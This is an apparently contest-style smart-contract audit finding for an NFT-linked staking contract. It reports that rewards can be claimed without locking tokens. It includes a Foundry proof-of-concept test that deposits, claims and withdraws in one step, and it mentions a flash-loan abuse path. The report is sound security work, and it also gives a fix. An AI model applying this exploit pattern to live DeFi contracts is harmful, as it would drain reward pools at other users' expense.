Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Users don't need to lock tokens in Staking contract to get rewards

Summary

A user can use Staking::claimRewards() without having to lock tokens in the staking contract.

Vulnerability Details

The staking contract is supposed to distribute tokens to users that lock tokens at a rate of 1 token rewarded per 1 token staked during 1 week. However, no checks are performed when staking in Staking::deposit() regarding the time at which staking began. Therefore users can deposit and claim rewards without having to lock the tokens in the contract.

POC

After minting NFT users, start accruing rewards without depositing, they can then call Staking::deposit() to deposit tokens, and immediately after call Staking::claimRewards() to claim rewards corresponding to the period since they minted the NFT, and withdraw tokens immediately after. This process can be repeated for subsequential claimRewards, users can deposit immediately before claiming rewards and then withdraw.

function test_user_can_claim_rewards_without_waiting_staking() public {
uint256 weekOfStaking = 5;
_mintOneTokenForBothSoulmates();
vm.warp(block.timestamp + weekOfStaking * 1 weeks + 1 seconds);
console2.log(loveToken.balanceOf(soulmate1));
uint256 initialTokenBalance = 10 ether;
deal(address(loveToken), soulmate1, initialTokenBalance);
vm.startPrank(soulmate1);
loveToken.approve(address(stakingContract), type(uint256).max);
stakingContract.deposit(initialTokenBalance);
stakingContract.claimRewards();
stakingContract.withdraw(initialTokenBalance);
vm.stopPrank();
assertTrue(loveToken.balanceOf(soulmate1) == weekOfStaking * initialTokenBalance + initialTokenBalance);
vm.warp(block.timestamp + weekOfStaking * 1 weeks + 1 seconds);
vm.startPrank(soulmate1);
loveToken.approve(address(stakingContract), type(uint256).max);
stakingContract.deposit(initialTokenBalance);
stakingContract.claimRewards();
stakingContract.withdraw(initialTokenBalance);
vm.stopPrank();
assertTrue(loveToken.balanceOf(soulmate1) == 2 * weekOfStaking * initialTokenBalance + initialTokenBalance);
}

Impact

Users can claim rewards of staking without having to lock tokens in the contract severely breaking the protocol and opening up to several exploits such as using a flashloan to acquire big amounts of Love Token deposit in the staking contract call claimRewards(), and withdraw the tokens.

Tools Used

Foundry

Recommendations

This issue can be mitigated by making it so that when users deposit tokens the Staking::lastClaim mapping is also updated.

function deposit(uint256 amount) public {
if (loveToken.balanceOf(address(stakingVault)) == 0) {
revert Staking__NoMoreRewards();
}
// No require needed because of overflow protection
+ _claimRewards();
+ lastClaim[msg.sender] = block.timestamp;
userStakes[msg.sender] += amount;
loveToken.transferFrom(msg.sender, address(this), amount);
emit Deposited(msg.sender, amount);
}

However, this makes it so that any pending rewards for the user are lost, so we can create an internal _claimRewards() function to remove any pending rewards.

function _claimRewards() internal {
uint256 soulmateId = soulmateContract.ownerToId(msg.sender);
// first claim
if (lastClaim[msg.sender] == 0){
return;
}
// How many weeks passed since the last claim.
// Thanks to round-down division, it will be the lower amount possible until a week has completly pass.
uint256 timeInWeeksSinceLastClaim = ((block.timestamp - lastClaim[msg.sender]) / 1 weeks);
if (timeInWeeksSinceLastClaim < 1) {
return;
}
lastClaim[msg.sender] = block.timestamp;
// Send the same amount of LoveToken as the week waited times the number of token staked
uint256 amountToClaim = userStakes[msg.sender] * timeInWeeksSinceLastClaim;
loveToken.transferFrom(address(stakingVault), msg.sender, amountToClaim);
emit RewardsClaimed(msg.sender, amountToClaim);
}
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-claimRewards-multi-deposits-time

High severity, this allows users to claim additional rewards without committing to intended weekly staking period via multi-deposit/deposit right before claiming rewards.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.